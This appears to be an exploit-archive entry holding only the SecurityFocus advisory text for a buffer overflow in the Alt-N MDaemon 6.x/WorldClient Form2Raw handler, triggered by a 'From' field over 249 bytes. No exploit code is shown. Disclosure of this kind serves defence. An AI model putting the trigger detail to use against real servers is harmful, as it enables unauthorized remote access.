Alt-N MDaemon 6.x/WorldClient - Form2Raw Raw Message Handler Buffer Overflow (1)

// source: https://www.securityfocus.com/bid/9317/info

It has been reported that MDaemon/WorldClient mail server may be prone to a buffer overflow vulnerability when handling certain messages with a 'From' field of over 249 bytes. This issue may allow a remote attacker to gain unauthorized access to a system.

Successful exploitation of this issue may allow an attacker to execute arbitrary code in the context of the vulnerable software in order to gain unauthorized access.
